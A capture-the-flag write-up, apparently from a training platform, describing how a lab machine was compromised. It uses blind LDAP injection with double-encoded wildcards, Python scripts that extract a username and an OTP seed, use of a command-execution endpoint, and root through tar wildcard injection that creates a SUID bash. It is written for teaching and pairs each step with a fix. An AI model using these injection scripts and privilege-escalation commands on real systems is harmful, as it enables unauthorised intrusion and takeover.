CTF
Summary
I found an Apache/PHP web application on CentOS serving an LDAP-backed one-time-password login form. A character blacklist on the username field was defeated by double URL-encoding a wildcard (%252A → %2A → *), turning the login form into a blind LDAP injection oracle. I enumerated the valid username character-by-character, then injected additional LDAP filter predicates to extract the OTP seed stored in the user's 'pager' directory attribute one digit at a time, computed a valid OTP, and reached a command-execution endpoint as the Apache process user.
The ldapuser's plaintext SSH password — also stored in LDAP — was recovered through the same oracle, giving a persistent SSH foothold and the user flag. Finally, a root-owned cron job that archived a world-writable directory using tar with a shell glob was abused through wildcard injection to execute my own script as root, completing the compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <pager-token-as-hex>, <test> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Enumerate service versions and confirm SSH and HTTP are the only exposed attack surface.
$ nmap -Pn -sV -p 22,80 --script http-title,ssh-hostkey $TARGETInspect the login page structure; note the inputUsername and inputOTP field names for later injection.
$ curl -sS -i http://$TARGET/login.phpExact commands 2
True-positive probe: if the response contains 'Cannot login', at least one username starting with 'a' exists in LDAP.
$ curl -sS -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'inputUsername=a%252A&inputOTP=0' http://$TARGET/login.phpControl probe: this impossible prefix should return 'User … not found', confirming the oracle works.
$ curl -sS -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'inputUsername=zzzzzzzz%252A&inputOTP=0' http://$TARGET/login.phpFixParameterise LDAP queries and decode input exactly once at the application boundaryCritical
Exact commands 1
Brute-forces the LDAP username prefix one character at a time using the boolean oracle.
$ python3 - <<PY
import requests, string
s = requests.Session()
u = "http://$TARGET/login.php"
H = {'Content-Type': 'application/x-www-form-urlencoded'}
known = ''
for _ in range(24):
for c in string.ascii_lowercase + string.digits + '._-':
probe = known + c
encoded = probe.replace('*', '%252A') + '%252A'
r = s.post(u, data=f'inputUsername={encoded}&inputOTP=0', headers=H)
if 'Cannot login' in r.text:
known += c
print('STEP', known)
break
else:
break
print('USERNAME:', known)
PYldapuser)(pager=2* — double URL-encoded as ldapuser%29%28pager%3d2%252A — was tested for each digit 0-9; the digit that produced 'Cannot login' (an LDAP match) was the correct next digit of the pager attribute. Repeating this for each position recovered the full 20-digit pager value used as the OTP seed.Exact commands 1
Extracts the LDAP pager attribute digit-by-digit; prints the growing token after each confirmed digit.
$ python3 - <<PY
import requests
s = requests.Session()
u = "http://$TARGET/login.php"
H = {'Content-Type': 'application/x-www-form-urlencoded'}
known = ''
for pos in range(24):
matched = False
for d in '0123456789':
test = known + d
# inject: ldapuser)(pager=<test>*
payload = f'ldapuser%29%28pager%3d{test}%252A'
r = s.post(u, data=f'inputUsername={payload}&inputOTP=0', headers=H)
if 'Cannot login' in r.text:
known = test
print(pos, known)
matched = True
break
if not matched:
break
print('PAGER TOKEN:', known)
PYExact commands 2
Derive the current OTP from the recovered pager seed; the exact derivation algorithm depends on the application's implementation — adjust digest and modulus to match.
$ python3 -c "
import hmac, hashlib, struct, time
token_bytes = bytes.fromhex('<pager-token-as-hex>') # convert recovered decimal token to bytes
t = int(time.time()) // 30
msg = struct.pack('>Q', t)
h = hmac.new(token_bytes, msg, hashlib.sha1).digest()
o = h[-1] & 0xf
print((struct.unpack('>I', h[o:o+4])[0] & 0x7fffffff) % 10**8)
"Submit a benign command (id) with the derived OTP to confirm RCE as the apache user.
$ curl -sS --max-time 10 -b /tmp/ctf_bypass.cookies -c /tmp/ctf_bypass.cookies -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data "inputCmd=id&inputOTP=$PASSWORD2&submit=Submit" http://$TARGET/page.phpFixRemove the unauthenticated OS command-execution endpoint or enforce strict controlsCritical
Exact commands 1
Authenticate as ldapuser with the LDAP-extracted password; output confirms uid and prints the user flag (<user.txt>).
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=6 -p 22 ldapuser@$TARGET 'id; pwd; cat ~/user.txt'FixRemove plaintext credentials from the LDAP directory and enforce least-privilege accessHigh
tar czf /backup/archive.tar.gz * inside that directory. Because the shell expands the glob before tar sees it, tar receives directory entries — including filenames beginning with '--' — as command-line arguments. Creating files named --checkpoint=1 and --checkpoint-action=exec=sh /tmp/privesc.sh in the writable directory caused tar to execute my shell script with root privileges on the next cron firing. The script created a SUID copy of bash, which was used to read the root flag.Exact commands 4
From ldapuser's SSH session: create the payload script that writes a SUID-root copy of bash.
$ echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' > /tmp/privesc.sh && chmod +x /tmp/privesc.shCreate the malicious flag-filename files in the directory processed by the cron tar job; replace the path with the actual writable cron target directory discovered during enumeration.
$ cd /path/to/cron/archive/dir && printf '' > '--checkpoint=1' && printf '' > '--checkpoint-action=exec=sh /tmp/privesc.sh'Wait for the cron job to fire (typically every minute) and confirm the SUID bash copy was created.
$ sleep 65 && ls -la /tmp/rootbashInvoke the SUID bash with -p to preserve the effective UID=root and read the root flag (<root.txt>).
$ /tmp/rootbash -p -c 'id; cat /root/root.txt'FixEliminate shell wildcard expansion in root-owned cron archive jobsCritical
tar czf /backup/archive.tar.gz -C /target/dir . — using './' prevents tar from treating filenames as flags. Alternatively, add -- before the glob to signal end-of-options. Ensure the source directory is owned by root and not writable by any other account. Audit all cron scripts for wildcard arguments to privileged commands (tar, chown, chmod, rsync, find) and apply the same fix. Where possible, run archive cron jobs as a dedicated unprivileged service account rather than root.Attack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.